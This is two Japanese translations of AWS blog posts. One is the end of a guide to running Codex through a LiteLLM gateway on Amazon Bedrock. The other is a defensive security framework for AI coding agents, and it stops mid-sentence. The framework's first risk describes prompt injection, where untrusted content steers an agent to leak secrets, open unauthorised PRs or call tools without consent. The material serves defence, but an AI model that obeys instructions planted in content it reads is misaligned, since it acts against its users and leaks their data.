litellm_config.yaml で固定します。ゲートウェイイメージを再ビルドし、同じ Amazon ECR ダイジェストを各環境に順次昇格させます。これにより、開発者は安定したエイリアスを使い続けることができ、その背後にある Amazon Bedrock モデルはシステムチームが管理し続けられます。 すべてのリクエストの帰属を明確にできれば、モデルポリシーはより効果を発揮します。LiteLLM のマスターキーを配布する代わりに、ユーザー、チーム、ワークロードごとに個別のスコープ付きキーを発行します。アップストリームのリクエストで Amazon Bedrock から見えるのは LiteLLM の ECS タスクロールであるため、リクエスト元のアイデンティティを、スコープ付きキー、LiteLLM のレコード、エクスポートされたテレメトリに引き継ぎます。これにより、ゲートウェイで開発者やチームへの帰属を維持でき、認証情報を記録することなく、リクエスト ID を AWS サービスのログと関連付けられます。 同じスコープ付きアイデンティティで、利用量ポリシーも適用できます。キーをプロビジョニングする際に、 CODEX_KEY_MAX_BUDGET 、 CODEX_KEY_BUDGET_DURATION 、 CODEX_KEY_TPM_LIMIT 、 CODEX_KEY_RPM_LIMIT を設定します。検証専用の一時的なアイデンティティで設定済みのしきい値を意図的に超え、LiteLLM が次のリクエストを拒否することを確かめて、これらの制御を検証します。こうすることで、設定が受け入れられたことを確認するだけでなく、ポリシーそのものが機能するかをテストできます。 ゲートウェイを運用するには、リクエスト経路全体を可視化することも必要です。AWS インフラストラクチャのシグナルからはサービスが正常かどうかがわかり、LiteLLM のレコードからは誰がどのモデルを使用し、リクエストがどれだけのキャパシティや予算を消費したかがわかります。ECS の必要タスク数と実行中タスク数、デプロイのロールバック、Application Load Balancer のターゲットのヘルスとレイテンシー、Amazon RDS のヘルス、LiteLLM のリクエスト数と拒否数、トークン使用量、支出、シークレットへのアクセス、IAM の変更、AWS WAF によるブロックをモニタリングします。 開発者のオンボーディングを始める前に、プロンプトとレスポンスをログに記録してよいかどうかを決めておきます。このコンテンツは機密性の高いお客様のデータを含む可能性があるものとして扱い、それに応じて秘匿化、暗号化、アクセス制御、保持期間を定義します。本番環境のデプロイでは、コンテンツのフィルタリング、拒否トピックの検出、グラウンディングチェックのために、モデルアクセス経路で Amazon Bedrock Guardrails を有効にすることを推奨します。ゲートウェイレベルの制御 (予算、レート制限、ルーティング) は、モデルレイヤーで適用される責任ある AI のセーフガードを補完するものであり、その代わりになるものではありません。 次の図は LiteLLM の [Usage] ページを示しています。このページでは、ゲートウェイを使用するすべての開発者のリクエストとトークンのメトリクスが集計されます。予算やレート制限を調整する前に、このビューで導入状況をモニタリングし、コストの異常を特定し、ユーザーや期間ごとにトラフィックを切り分けます。 図 5: 使用状況ダッシュボードでは、選択した検証期間について、モデル単位のリクエスト、トークン、支出、成功率を可視化できます 図 5 の検証期間には、成功したトラフィックと失敗したリクエストの両方が含まれており、ダッシュボードで通常のアクティビティとエラーの両方を確認できることがわかります。Codex は後続の Responses リクエストでローカルツールの実行結果をモデルに返すため、ツールを使用するタスクではリクエストログに複数の行が記録されることがあります。このように、実行の境界は運用データにも表れます。LiteLLM はモデルリクエストを制御して記録し、Codex は開発者のワークステーション上でツールを実行します。 2 つの代替アクセス経路を検討する このウォークスルーで LiteLLM を主に取り上げたのは、ゲートウェイによる追加の制御をわかりやすく示せるためです。ただし、すべてのお客様に最適というわけではありません。 IAM Identity Center による直接アクセス AWS ネイティブのアイデンティティと監査の制御で十分な場合は、組み込みの amazon-bedrock Codex プロバイダーを使用します。 model_provider = "amazon-bedrock" model = "openai.gpt-5.5" [model_providers.amazon-bedrock.aws] profile = "codex-bedrock" region = "us-east-1" 開発者は、名前付きの IAM Identity Center プロファイルでサインインします。 aws sso login --profile codex-bedrock この経路では、ゲートウェイ、データベース、およびそれらに関連する運用が不要になります。開発者の AWS セッションのアイデンティティは AWS CloudTrail のログに残りますが、ゲートウェイレベルで一元管理する厳格な予算上限やルーティングポリシーは追加されません。 リポジトリの「 IAM Identity Center quickstart 」には、分離されたグループとアクセス許可セットの作成、そのグループの AWS アカウントへの割り当て、クライアント設定の出力、サインインしたプロファイルによる Amazon Bedrock へのアクセス検証を行うための CloudFormation とヘルパーコマンドが含まれています。ゲートウェイを追加する前に、まずこの直接アクセス経路をベースラインとして使用してください。 Portkey によるマネージドアクセスまたはハイブリッドアクセス LiteLLM のリファレンススタックを自ら運用することなく、マネージドのコントロールプレーン、一元化されたルーティングとポリシー、またはサポートが提供されるハイブリッドデータプレーンを利用したい場合は、Portkey が役立ちます。 Codex を Portkey 経由で評価するには、Portkey のワークスペースキー、Amazon Bedrock Model Catalog プロバイダー、Responses ワイヤプロトコルを設定します。 model_provider = "portkey" model = "@bedrock-validation/<approved-model-id>" [model_providers.portkey] name = "Portkey" base_url = "https://api.portkey.ai/v1" env_key = "PORTKEY_API_KEY" wire_api = "responses" 本番環境に昇格させる前に、同じ厳格な Responses プローブを実行します。特に、 previous_response_id によるセマンティックな継続、ストリーミング、関数呼び出し、Amazon Bedrock への正確なルート、IAM ロールと外部 ID の設計を検証してください。製品ドキュメントや認証レスポンスだけでは、意図したモデル経路が Codex のコントラクト全体を満たしている根拠にはなりません。 ゲートウェイ全体を自身の AWS アカウントで運用することよりも、マネージドまたはハイブリッドの運用モデルを重視する場合は、Portkey を選択します。アーキテクチャを決定する際には、ベンダーのライセンス、データの取り扱い、リージョンごとの提供状況、障害モード、サポート範囲も確認してください。 クリーンアップ CloudFormation によって削除されるリソースと保持されるリソースをプレビューします。 make litellm-cleanup-plan # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh cleanup-plan このコマンドはスタックを読み取り、何も削除せずに、各リソースが削除されるか保持されるかを一覧表示します。 正確なスタック名を確認したうえで、ゲートウェイを削除します。 CONFIRM_STACK_DELETE=codex-litellm-gateway \ make litellm-cleanup # Direct helper invocation used by Make: # CONFIRM_STACK_DELETE=codex-litellm-gateway \ # deployment/scripts/litellm-stack.sh cleanup ヘルパーは Amazon RDS の削除保護を確認し、 aws cloudformation delete-stack を呼び出して、ゲートウェイスタックの削除が完了するまで待機します。 共有されていないサンプルのネットワークスタックも削除する場合は、オプトインしたうえで個別に確認します。 CONFIRM_STACK_DELETE=codex-litellm-gateway \ DELETE_NETWORKING=1 \ CONFIRM_NETWORKING_DELETE=codex-networking \ make litellm-cleanup # Direct helper invocation used by Make: # CONFIRM_STACK_DELETE=codex-litellm-gateway \ # DELETE_NETWORKING=1 \ # CONFIRM_NETWORKING_DELETE=codex-networking \ # deployment/scripts/litellm-stack.sh cleanup これにより、ゲートウェイスタックに続いて、サンプルのネットワークスタックも削除されます。共有ネットワークにはこのオプションを使用しないでください。 リファレンススタックは Amazon RDS の最終スナップショットを作成し、KMS キー、Secrets Manager のシークレット、CloudWatch のロググループ、ALB のアクセスログ用バケットを保持します。ECR イメージと、プロビジョニングしたスコープ付きキーのシークレットも、スタック削除の対象外です。データ保持ポリシーに従って、保持されたリソースを確認し、削除してください。 まとめ Codex を LiteLLM 経由でルーティングすると、Codex がローカルでタスクとツールを実行する方式を維持しながら、お客様が運用するコントロールポイントで、モデルの選択、スコープ付きアイデンティティ、予算、レート制限、テレメトリを管理できます。本番環境への移行で重要な判断基準は、ゲートウェイがテキストを返せるかどうかではありません。エージェントワークフローに必要な Responses の動作をゲートウェイが維持できるかどうか、そしてシステムチームが追加されたインフラストラクチャを確実に運用できるかどうかです。 AWS ネイティブの制御で要件を満たせる場合は、IAM Identity Center による直接アクセスから始めてください。お客様が運用するゲートウェイのポリシーが運用負荷に見合う場合は、LiteLLM を追加します。マネージドまたはハイブリッドの運用モデルの方が組織に適している場合は Portkey を評価してください。いずれの経路でも、同じコントラクトテストを適用してください。 関連リソース Guidance for Codex on AWS の実装 Amazon Bedrock での OpenAI Amazon Bedrock ドキュメント LiteLLM on AWS quickstart IAM Identity Center quickstart Portkey evaluation quickstart 本番デプロイのガイダンス Codex のカスタムモデルプロバイダー Amazon Bedrock で Codex を使用する方法 AWS Fargate 上の Amazon ECS AWS IAM Identity Center ドキュメント LiteLLM プロキシのドキュメント Portkey の Codex 統合 AWS Pricing Calculator 著者について Nick McCarthy Nick は Amazon Bedrock チームの Senior Generative AI Specialist Solutions Architect で、Amazon Bedrock 上の OpenAI モデルと Codex を専門としています。ヘルスケア、金融、スポーツ、通信、エネルギーなど、幅広い業界の AWS のお客様と協力し、AI と機械学習を活用してビジネス成果の創出を加速できるよう支援してきました。 Sunil Bemarkar Sunil は Amazon Web Services の Sr. Partner Solutions Architect – Gen AI です。大規模言語モデル (LLM) プロバイダーと協力し、お客様が AWS で生成 AI を導入して運用できるよう支援しています。 Sudeesh Sasidharan Sudeesh 氏は OpenAI の Member of Go-to-Market Staff で、OpenAI API と Codex を専門としています。Amazon Bedrock に関して AWS と協力し、組織が OpenAI のフロンティアモデルを導入およびデプロイできるよう支援する活動も行っています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 7 月 30 日に公開された AWS Blog “ Balancing speed and safety: A control framework for AI coding agents ” を翻訳したものです。 AI コーディングエージェントは、今や開発者のツールチェーンの一部です。Kiro や Claude Code などのツールは、自然言語のプロンプトから、機能やテストのコード、リファクタリングによるコード変更を生成します。1 つのエージェントが、午後だけで複数のリポジトリにまたがって数十件のプルリクエスト (PR) を作成することもあります。ただし、この生産性にはトレードオフがあります。エージェントは組織のリスクを理解しないまま、マシンの速度でタスクの完了を最優先に動作します。 Model Context Protocol (MCP) などのプロトコルを通じて、エージェントは統合開発環境 (IDE) の外にも手を伸ばし、API の呼び出し、データベースへのクエリ、インフラストラクチャの変更、さらには環境全体の変更まで行います。その結果、アプリケーションセキュリティチームが守るべきリソースの範囲が広がっています。 本記事では、AI コーディングエージェント向けのアプリケーションセキュリティ (AppSec) のコントロールフレームワークを紹介します。このフレームワークは 2 つの柱で構成されています。作成時 (author-time) のコントロールは、IDE でエージェントが生成するものを方向付けます。ビルド時 (build-time) のコントロールは、本番環境に到達するものを検証し、通過可否を判定します。既存のセキュアなソフトウェア開発ライフサイクル (SDLC) のコントロールも引き続き有効であり、多層防御のセキュリティ戦略に欠かせません。このフレームワークは、エージェント主導の開発に合わせて AppSec をスケールさせるために、どこにガードレールを追加すべきかを示します。また、特定のツールやクラウドには依存しません。本記事では全体を通して、AWS のサービス (IDE では Kiro 、ビルドでは AWS CodePipeline ) を具体例として使用します。ご自身のツールチェーンに合わせて応用してください。 リスク 以下の各リスクには、対策の概要を記載しています。実装の詳細は、本記事後半の「 コントロールフレームワーク 」セクションで説明します。リスクは重大度順に並べており、影響が最も大きいものから順に記載しています。 R001. プロンプトとコンテキストのインジェクション エージェントは、Issue の説明、ウェブページ、MCP のレスポンス、サードパーティパッケージ内の README ファイルなど、信頼できないコンテンツを読み込みます。外部から持ち込まれたテキストによって、エージェントがシークレットを漏洩したり、許可されていない PR を作成したり、ユーザーの同意なしにツールを呼び出したりするよう誘導される可能性があります。このリスクは プロンプトインジェクション と呼ばれ、 OWASP Top 10 for LLM Applications で最上位のリスクに位置付けられています。MCP の有無にかかわらず、外部のコンテンツを読み込むエージェントはすべてこのリスクにさらされます。ツールを接続すれば、その分だけ影響範囲が広がります。 対策 : 開発者以外からの入力は信頼できないものとして扱います。大規模言語モデル (LLM) は単一のコンテキストウィンドウ内で指示とデータを確実には区別できないため、それを前提にアーキテクチャを設計します。具体的には、信頼されたアクションをオーケストレーションするエージェントと、信頼できないコンテンツにさらされるエージェントを分離し、後者には読み取り専用かつ最小権限のアクセスのみを付与します。元に戻せないアクションには人間による承認を必須にします。また、ステアリングファイルをバージョン管理し、気付かないうちに改ざんされることを防ぎます。 R002. 意図しないデータ漏洩と過度に緩い設定 エージェントは作業を完了させることを最優先します。チェックせずに放置すると、エージェントが生成するコードは、ワイルドカードを使用した IAM ポリシー、開放されたセキュリティグループ、暗号化されていないストレージをデフォルトで使用したり、シークレットマネージャーを参照せずに機密性の高い値をコードに埋め込んだりする可能性があります。現在、ほとんどのコーディングエージェントにはこうした事態を起こりにくくする安全メカニズムが組み込まれていますが、完全ではありません。そのため、こうした可能性に備えたコントロールが引き続き必要です。 対策 : ステアリングドキュメントにセキュリティ要件を記述したうえで、IDE とパイプラインで Policy as Code によるスキャン (Checkov、cfn-nag) を実施します。詳しくは「 セキュリティコントロールとしてのコンテキスト 」を参照してください。 R003. 管理されていない変更の本番環境への到達 ゲートによる検証を受けていないコードが本番環境に到達すること自体は新しい問題ではありませんが、AI エージェントはこの問題を増幅させます。マシンの速度でコードが生成されるため、欠陥のあるパターンが発見される前に複数のリポジトリへ広がってしまう可能性があります。 対策 : PR の承認を必須とするブランチ保護ルール (人間が介在する Human-in-the-Loop のチェックポイント)、セキュリティチェックのための pre-commit フック、保護されたブランチへの直接プッシュを防ぐサンドボックス化されたエージェント実行を組み合わせます。人間によるレビューと自動化による速度のどちらをどの程度重視すべきかは、変更のリスクプロファイルによって異なります。リスクの低い多くの変更では自動チェックだけで十分な場合もありますが、リスクの高い変更には人間によるチェックポイントを設けるべきです。 R004. サプライチェーンのリスク エージェントは、現在のベストプラクティスと古いパターンを常に区別できるとは限りません。非推奨のパッケージを提案したり、新たな CVE (Common Vulnerabilities and Exposures) が報告されたライブラリバージョンを参照したり、存在しないパッケージ名をハルシネーションで生成したりすることがあり、依存関係の混同 (dependency confusion) のリスクを招く可能性があります。 対策 : パイプラインでソフトウェアコンポジション解析 (SCA) を実施し (例: Amazon Inspector のコードスキャンや Dependabot)、脆弱な依存関係や予期しない依存関係にフラグを立てます。さらにコントロールを強化するには、 AWS CodeArtifact のようにスコープを限定したレジストリから依存関係を解決します。完全にキュレーションされたレジストリがない場合でも、ロックファイルの検証と重要なパッケージの許可リスト登録によって、リスクへの露出を減らせます。 R005. 管理されていない外部アクセス エージェントは MCP やツール統合を通じて、データベースへのクエリ、API の呼び出し、インフラストラクチャの変更を行います。エージェントがアクセスできるツールやデータに制約がなければ、設定を誤った統合が 1 つあるだけで、機密性の高いリソースへの意図しないアクセスが生じます。 対策 : MCP サーバーが提供するツールとリソースを最小権限の範囲に限定し、外部接続には認証 (AuthN) または認可 (AuthZ) を適用したうえで、ツールの呼び出しを監査します。コントロールポイントとなるのは設定ファイルです。設定ファイルは、 AWS Identity and Access Management (IAM) ポリシーと同じようにレビューしてください。 R006. ハルシネーションと誤ったコード エージェントは、もっともらしく見える出力を生成します。コンパイルが通り、リンティングをパスし、一見妥当に見えるコードでも、機能的には誤っていることがあります。例えば、API の誤用、微妙なロジックエラーの混入、セキュリティ上重要な操作の誤った実装などです。ビルドに失敗するコードはすぐに検出されますが、継続的インテグレーション (CI) をパスしてしまう誤ったコードはレビューをすり抜けてしまいます。 対策 : 決定論的な検証 (静的アプリケーションセキュリティテスト (SAST)、単体テスト) と、非決定論的なレビュー (仕様に照らした LLM 支援のスクリーニング) を重ねて多層化します。どちらか一方だけで、すべての問題を検出することはできません。 R007. スコープクリープ (依頼範囲外の変更) バグ修正を指示するプロンプトを与えられたエージェントが、周辺コードのリファクタリング、不安定なテストの無効化、インポートの整理まで行ってしまうことがあります。依頼されていない変更はリグレッションを引き起こし、レビューを複雑にします。 対策 : 変更すべきものと変更してはならないものを定義したレビュー済みの仕様ドキュメントを用意し、提案された変更に的を絞ったレビューと組み合わせます。詳しくは「 スコープの境界としての仕様 」を参照してください。 これらのリスクには共通点があります。エージェントは人間がレビューできる速度を超えて出力を生成し、しかも自らの出力を修正するためのコンテキストを持っていないという点です。 以下で紹介するフレームワークは、このギャップに対処するものです。このフレームワークでは、コントロールを 2 つの柱に整理しています。作成時 (コードの生成前と生成後) と、ビルド時 (パイプライン内で、コードが本番環境に到達する前) です。作成時のコントロールはエージェントが生成するものを方向付け、ビルド時のコントロールはそれを検証します。どちらか一方だけでは不十分ですが、両方を組み合わせることで、人間のレビュー担当者に届く問題の量と重大度を減らせます。 決定論的な緩和策と非決定論的な緩和策の比較 決定論的な緩和策 [D] は、毎回同じ結果を返します。リンター、SAST スキャナー、シークレット検出、Policy as Code は、ルールに照らしてパターンを照合し、セキュリティの不変条件を定義します。例えば、重大度が Critical の検出結果がないこと、ハードコードされたシークレットがないこと、ワイルドカードを使用した IAM ポリシーがないことなどです。条件をルールとして表現できる場合に使用します。組織は既にこれらを導入しており、今後も引き続き適用する必要があります。 非決定論的な緩和策 [ND] は、モデルの判断を活用します。ステアリングドキュメント、LLM-as-judge によるレビュー、仕様準拠チェック、スコープクリープの検出などがこれに当たり、パターンではなく意図を評価します。ルールでは見逃される新しい問題を検出できる一方、結果は確率的です。評価にコンテキストや複数ファイルにまたがる推論が必要な場合に使用します。これは、AI が生成するコードに対応するために必要となる新しいレイヤーです。エージェントは、決定論的なチェックをすべてパスしながらも機能的には誤っているコードを生成する可能性があるためです。 人間によるレビュー [H] は、どちらの種類のツールでも下せないリスクベースの判断を担う最後のレイヤーです。 人間によるレビューは、すべての箇所ではなく判断が必要な箇所に適用します 。すべての変更を人間に回すと承認疲れ (consent fatigue) を招き、レビュー担当者が反射的に承認するようになって、コントロールが形骸化します。すべてを人間に回すことが反射的な対応になりがちですが、それが常に正しいとは限りません。人間の判断は、本当に必要な意思決定に限定してください。 コントロールフレームワーク このフレームワークでは、コントロールを 2 つの柱に整理しています。作成時のコントロール (柱 1) は、コードの生成前と生成直後に、IDE でエージェントが生成するものを方向付けます。ビルド時のコントロール (柱 2) は、本番環境に到達する前に、パイプラインでその出力を検証し、通過可否を判定します。各柱のコントロールには、決定論的 [D]、非決定論的 [ND]、人間 [H] のタグを付けています。 柱 1: 作成時のコントロール (コードの生成前と生成後) 作成時のコントロールは、開発者とエージェントがまだ完全なコンテキストを保持している IDE 内で機能します。PR が作成される前の段階で、プロンプトと生成された出力を方向付けます。この段階では、以下のコントロールを適用します。 セキュリティコントロールとしてのコンテキスト [ND] コントロールステートメント: すべての開発者環境がセッション開始時に読み込むステアリングドキュメントに、セキュリティの不変条件を自然言語の制約として記述します。R002 に対処します。 AI コーディングエージェントのリスクの多くは、1 つの共通する根本原因から生じています。経験豊富な開発者が暗黙のうちに持っているセキュリティのコンテキストを、エージェントが持っていないことです。セキュリティチームは、 Amazon Simple Storage Service (Amazon S3) バケットには暗号化が必要、API ゲートウェイには相互 TLS が必要、認証情報は AWS Secrets Manager から取得する必要がある、といったポリシーを定めています。しかし開発者は、構築作業の最中にこれらの要件を常に参照できるとは限りません。開発者が作るのは、セキュリティ要件に準拠したものではなく、動作するものです。AI エージェントは、組織のセキュリティポスチャを認識しないまま、トレーニングデータで主流だったパターンをデフォルトで採用するため、このギャップをさらに広げてしまいます。 その主要な緩和策がステアリングです。セキュリティチームはこれらの不変条件を自然言語のガイダンスとしてステアリングドキュメントに一度記述し、開発者が IDE で利用できる共有リソースとして配布します。エージェントはセッション開始時にこのファイルを読み込み、その内容を常に守るべき要件として扱います。 IAM ポリシーは最小権限の原則に従うこと。ワイルドカードを使用した Amazon リソースネーム (ARN) は使用しないこと。 ソースコードに認証情報をハードコードしないこと。シークレットマネージャーを使用すること。 セキュリティグループで無制限のインバウンドアクセスを許可しないこと。 これにより、コード生成が始まる前の段階までセキュリティをシフトレフトできます。 ステアリングは生成結果をセキュアなデフォルトに近づけますが、それを保証するものではありません 。ステアリングは強力なデフォルトとして位置付け、準拠していないコードのマージをブロックする後述の決定論的なゲートと組み合わせてください。セキュリティチームがルールを一度定義すれば、すべての開発者環境に自動的に引き継がれます。ステアリングによってパイプラインに到達する問題の量は減りますが、下流のスキャンが不要になるわけではありません。 効果的なステアリングルールの書き方: 各ルールは具体的かつテスト可能な内容にし、対象を具体的なリスクの分類に絞ります。エージェントがコンテキスト内に保持できるようルールセットは簡潔に保ち、スキャナーやレビュー担当者が見つけた問題を基に継続的に改善します。 スコープの境界としての仕様 [ND] コントロールステートメント: コード生成を開始する前に、レビュー済みの仕様を必須にします。変更すべきものと変更してはならないものを定義します。R007 に対処します。 仕様駆動のワークフローでは、コードを生成する前に、あいまいなプロンプトをレビュー可能な仕様に変換します。これにより、セキュリティに関する意思決定が行われる設計フェーズに、人間によるチェックポイントを設けることができます。 要件 は、エージェントがコードを 1 行も書かないうちに監査できるよう、テスト可能な記法で記述します。例えば、EARS (Easy Approach to Requirements Syntax) では WHEN [condition] THE SYSTEM SHALL [behavior] という形式を使用します。 タスク は実装ステップの順に並べ、それぞれを要件に対応付けます。 バグ修正の場合、仕様には、 変更後も維持すべき動作の文書化 という重要な要素が加わります。これは、修正後も引き続き正しく機能しなければならない動作を明示したリストであり、スコープクリープを防ぐ明文化された境界としてエージェントに提示されます。 このモデルでは、仕様が主要な成果物となり、コードは仕様から派生するものになります。人間によるレビューの労力は、実装の差分を 1 行ずつ読むことではなく、仕様が適切な制約のもとで適切な問題を解決しているかどうかの確認に集中します。 MCP を使用したツールアクセスの制御 [D + ND] コントロールステートメント: 各 MCP サーバーが提供するツールを、エージェントが必要とする最小限のものに限定し、開発者自身の認証情報ではなく、権限を絞り込んだ専用の認証情報を付与します。レビュー済みの MCP サーバーの許可リストを維持します。R005 に対処します。 MCP サーバーは、エージェントと外部ツール、データとの間で、管理されたゲートウェイとして機能します。 依存関係の管理 – プライベートパッケージレジストリの前段に配置した MCP サーバーは、パブリックインターネットではなく、キュレーションされたパッケージから依存関係を解決します。これはサプライチェーンリスクに対する決定論的な制約となります。 インフラストラクチャツール – 現在のリソース設定を可視化することで、既存のインフラストラクチャと競合するテンプレートの作成を防ぎます。 範囲を限定したアクセス許可 – 各 MCP サーバーは、定義されたツールとリソースのセットを公開します。エージェントがアクセスできる対象を厳密に選べるため、統合レイヤーで最小権限を実現できます。この専用の認証情報は、エージェントの設定を通じて提供します (Kiro では env ブロックを使用して .kiro/settings/mcp.json で指定します)。 autoApprove: ["*"] を設定すると、すべてのツール呼び出しで人間による承認プロンプトが表示されなくなるため、使用は避けてください。 IDE でのコードスキャン [D] コントロールステートメント: IDE でリアルタイムの静的解析を実行し、開発者 (およびエージェント) が完全なコンテキストを保持しているうちにセキュリティの問題を洗い出します。R002、R006 に対処します。 リアルタイムの診断により、開発者が入力している最中に構文エラー、型の不一致、設定の問題を検出できます。不正な形式の IAM ポリシーは、エージェントがそれを前提にさらに構築を進める前に検出されます。その上にセキュリティに特化した拡張機能 (ESLint のセキュリティプラグイン、Checkov、SAST) を重ねることで、コードの内容がコンテキストに残っているうちに即座にフィードバックを得られます。 フック: アクション発生時点での自動化されたガードレール [D + ND] コントロールステートメント: ファイル保存イベントには決定論的なチェックを、タスク完了イベントには非決定論的な検証を関連付けます。R002、R007 に対処します。 シェルコマンドフック [D] – ファイルの保存時にトリガーされ、リンター、フォーマッター、セキュリティスキャナーを実行します。毎回同じ結果を返し、厳格なルールを適用します。 AI を活用したフック [ND] – タスクの完了時にトリガーされます。実装が仕様と一致しているかを検証し、テストされていないエッジケースや、タスクの範囲外で変更されたファイルがないかを確認するよう、エージェントにプロンプトを送ります。 柱 2: ビルド時のコントロール (パイプライン内) ビルド時のコントロールは、コードがコミットされてから本番環境に到達するまでの間に、パイプラインで実行されます。エージェントが生成したものを検証して通過可否を判定し、作成時のコントロールで見逃された問題を捕捉します。この段階では、以下のコントロールを適用します。 多層的なセキュリティスキャン [D] コントロールステートメント: シークレット検出、静的解析、依存関係のスキャン、Infrastructure as Code (IaC) のスキャンを順番に実行します。重大度が Critical の検出結果が 1 つでもあれば、ビルドを失敗させます。R002、R003、R004 に対処します。 シークレット検出は、最もコストが低く、かつ重大度の高い種類の問題に対処できるため、最初に実行します。AI エージェントが誤って含めてしまう可能性のある、ハードコードされた API キー、データベース接続文字列、認証情報をスキャンします。 SAST は、インジェクションの問題、安全でないデシリアライゼーション、リソースリークがないかソースコードをスキャンします。カスタムルールを使用すると、過度に広範な例外処理、非推奨の API、プレースホルダーの認証情報、 eval() による動的なコード実行など、AI 特有のアンチパターンも検出対象にできます。 SCA は、依存関係に含まれる既知の CVE を特定します。AI が生成したコードは、非推奨のパッケージを参照したり、ハルシネーションによって存在しないパッケージ名を生成して依存関係の混同を招いたりする可能性があるため、SCA は特に重要です。 IaC のスキャンでは、 AWS CloudFormation 、 Terraform 、 AWS Cloud Development Kit (AWS CDK) のテンプレートを、デプロイ前にセキュリティポリシーに照らして検証します。エージェントが作成した過剰な権限を持つ IAM ロール、暗号化されていないストレージ、パブリックに公開されたリソースを検出します。 いずれかのステージが失敗すると、パイプラインは停止します。結果は、コンプライアンス監査に利用できるよう標準形式の SARIF (Static Analysis Results Interchange Format) でエクスポートされ、下流の人間のレビュー担当者に渡されます。オープンソースの Automated Security Helper (ASH) は、シークレット、SAST、SCA、IaC の各スキャナーを 1 つのコマンドにまとめたツールです。ローカル環境と AWS CodeBuild のどちらでも実行でき、後続のゲートで利用できるよう SARIF を出力します。 品質ゲート [D] コントロールステートメント: スキャンの種類ごとに合格/不合格のしきい値を定義します。重大度が Critical または High の検出結果が 1 つでもあれば、デプロイをブロックします。R003 に対処します。 品質ゲートは、スキャン結果を「進めるか止めるか」の判断に変換します。重大度ごとにしきい値を定義し、Critical の検出結果はブロック、High は正当な理由の説明を求め、Medium は追跡対象とします。ゲートは決定論的に動作し、しきい値を超えた場合はパイプラインが停止します。例外を認める場合は、文書化された承認が必要です。 ブロッキングモードとアドバイザリーモードを使い分けます。main ブランチでは失敗としてブロックし、フィーチャーブランチではアドバイザリー (警告のみ) とします。ゲートが開発の妨げとなり、チームがゲートを迂回するような事態は避けてください。 AI 支援レビュー [ND] コントロールステートメント: 人間がレビューする前に、LLM をレビュー担当者として使用し、すべての PR について仕様への準拠、スコープクリープ、セキュリティのアンチパターンを事前スクリーニングします。R001、R006、R007 に対処します。 仕様への準拠 – 実装は要件ドキュメントと一致しているか? スコープの検証 – タスクで定められた範囲外のファイルが変更されていないか? セキュリティパターンのレビュー – SAST を通過しても意図に反するロジックエラー、API の誤用、安全でないパターンはないか? この事前スクリーニングにより、人間のレビュー担当者はフォーマットや明らかな問題ではなく、実質的なリスクに集中できます。AWS では、 AWS Security Agent (英語原文が公開された 2026 年 7 月 30 日の時点で、コードレビュー機能はプレビュー中) が、AWS マネージドのセキュリティ要件とカスタムのセキュリティ要件に照らして PR をチェックします。LLM のレビュー担当者はスクリーニングを行って検出結果を提示しますが、マージの判断は人間が行います。 重要な原則: コードを書いたエージェントに、そのコードをレビューさせてはいけません。 別のセッションを使用すれば自己確証バイアスを避けやすくなりますが、セッションを分けるだけでは、生成側の盲点を必ずしも回避できません。同じモデルであれば、2 つのセッションが同じ盲点を共有している可能性があるためです。可能であれば、レビューには別のモデルを使用し、レビュー担当者が同じ系統的な弱点を引き継ぐ可能性を低減してください。 Human-in-the-Loop のレビュー [ND + H] コントロールステートメント: ほとんどの PR、特にセキュリティ上重要なコードや影響範囲 (blast radius) の大きいコードにかかわる PR では、人間による承認を必須にします。ツールが成熟するにつれて、リスクの低い変更はエージェント支援による承認や完全に自動化された承認の対象にできる可能性があります。レビュー担当者が十分な情報に基づいて迅速に判断できるよう、スキャン結果、LLM による事前スクリーニングの出力、仕様のコンテキストを提供します。R003 に対処します。 レビューの深さは、変更のリスクに応じて調整します。リスクの低い変更や定型的な変更はより簡易なレビューで対応できますが、セキュリティ上重要な変更や新しいロジックを含む変更には、詳細なレビューを必須とし、2 人目のレビュー担当者を加えるべきです。 スキャナーは既知のパターンを検出できますが、コードが意図したビジネスロジックを実装しているかどうかは判断できません。人間によるレビューは、 エージェントをどこまで信頼できるかの見極め にも役立ちます。チームは、エージェントが得意とする領域 (定型コード、テストの作成) と、これまで苦手としてきた領域 (新しいビジネスロジック、セキュリティ上重要な操作) について感覚をつかんでいきます。ただし、この境界はモデルの進化に伴って変化することを念頭に置いておく必要があります。 承認ゲートは 2 か所に配置します。1 つはセキュリティスキャンの後 (レビュー担当者はスキャン結果をコンテキストとして参照しながら、正確性とビジネスロジックに集中します)、もう 1 つは本番環境へのデプロイ前 (統合テスト後の最終承認) です。人間によるレビューは保証ではなく、二次的なコントロールとして扱ってください。レビュー担当者自身も非決定論的であり、問題を見逃すことがあります。そのため、人間によるレビューは決定論的なゲートに取って代わるものではなく、その上に重ねるものと考えてください。 AWS でのフレームワークの実践 このフレームワークは特定のツールに依存しませんが、AWS には各柱を実現するための構成要素がそろっています。以下のサービスは、前述のコントロールに直接対応します。作成時のガードレールには Kiro を、ビルド時のゲートには CodeBuild と CodePipeline を使用します。 Kiro: 構造化された AI 開発 Kiro は柱 1 に対応し、開発者とエージェントが完全なコンテキストを共有している IDE に作成時のコントロールを組み込みます。以下に挙げる各機能はそれぞれ 1 つのコントロールを実装するもので、リポジトリ内の .kiro/ 配下で設定します。そのため、ガードレールは開発者ごとに設定されるのではなく、バージョン管理されたうえでチーム全体で共有されます。 ステアリングドキュメント – .kiro/steering/ 内の Markdown ファイルが、セッション開始時にエージェントのコンテキストに読み込まれます。fileMatch を使用した条件付きの読み込み (例: ["**/*.tf"] ) により、IaC 固有のルールを関連する場合にのみ読み込めます。 仕様駆動のワークフロー – レビューのチェックポイントを備えた 3 フェーズの仕様 (EARS による要件、設計、タスク) を使用します。バグ修正の仕様では、変更されない動作を明示的に記録します。 エージェントフック – ファイルの保存、ツールの呼び出し、タスクの完了時にトリガーされます。シェルフックは決定論的なチェック (リンター、テスト) を実行し、 Ask Kiro フックは非決定論的なレビューのために AI プロンプトを実行します。例えば、セキュリティ用の pre-commit スキャナーフックを使用すると、エージェントがタスクを完了した時点で、ハードコードされた認証情報にフラグを立てることができます。 プロパティベーステスト – 仕様やフックの指示に基づいて、Kiro は数百とおりのランダムな入力を試すプロパティベーステストを生成できます (例えば、hypothesis ライブラリを使用)。これにより、手作業で書いたテストスイートでは見逃しがちなエッジケースを洗い出せます。 MCP 統合 – Kiro をプライベートパッケージレジストリ、社内ドキュメント、Issue トラッカー、インフラストラクチャツールに接続し、前述の管理されたツールアクセスのパターンを実現します。 エンタープライズ環境向けに、Kiro は AWS IAM Identity 